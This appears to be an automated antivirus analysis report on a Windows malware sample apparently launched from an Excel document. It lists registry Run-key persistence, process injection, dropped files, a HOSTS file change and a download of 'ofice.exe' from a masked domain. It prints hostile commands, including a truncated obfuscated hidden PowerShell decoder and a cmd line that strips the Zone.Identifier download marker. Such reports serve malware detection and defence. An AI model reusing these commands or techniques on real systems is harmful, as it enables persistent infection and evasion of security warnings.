Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DjPvhzYN' = '%APPDATA%\CoQMrdx\BIDQo.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function b14a6 {param($p33e2)$g83fcd3='jfe88';$pb218='';for ($i=0; $i -lt $p33e2.length;$i+=2){$j72ca4=[convert]::ToByte($p33e2.Substring($i,2),16);$pb218+=[char]($j72ca4 ...
Injects code into
the following user processes:
- wad8f75.exe
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{97a60816-cf36-4dd7-b191-d186ca01ad42}.tmp
- %TEMP%\huxseeqa.0.cs
- %TEMP%\huxseeqa.cmdline
- %TEMP%\huxseeqa.out
- %TEMP%\csc9ee3.tmp
- %TEMP%\res9ef4.tmp
- %TEMP%\huxseeqa.dll
- %APPDATA%\wad8f75.exe
- %APPDATA%\coqmrdx\bidqo.exe
Deletes the following files
- %TEMP%\res9ef4.tmp
- %TEMP%\csc9ee3.tmp
- %TEMP%\huxseeqa.out
- %TEMP%\huxseeqa.cmdline
- %TEMP%\huxseeqa.dll
- %TEMP%\huxseeqa.pdb
- %TEMP%\huxseeqa.0.cs
Moves the following files
- from %APPDATA%\wad8f75.exe to %TEMP%\tmpg365.tmp
Modifies the HOSTS file.
Network activity
TCP
HTTP GET requests
- http://aw####ngpickup.com/image/ofice.exe
UDP
- DNS ASK aw####ngpickup.com
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\wad8f75.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function b14a6 {param($p33e2)$g83fcd3='jfe88';$pb218='';for ($i=0; $i -lt $p33e2.length;$i+=2){$j72ca4=[convert]::ToByte($p33e2.Substring($i,2),16);$pb218+=[char]($j72ca4 ...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\huxseeqa.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9EF4.tmp" "%TEMP%\CSC9EE3.tmp"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C type nul > "%APPDATA%\wad8f75.exe:Zone.Identifier"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\huxseeqa.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9EF4.tmp" "%TEMP%\CSC9EE3.tmp"
- '%WINDIR%\syswow64\cmd.exe' /C type nul > "%APPDATA%\wad8f75.exe:Zone.Identifier"
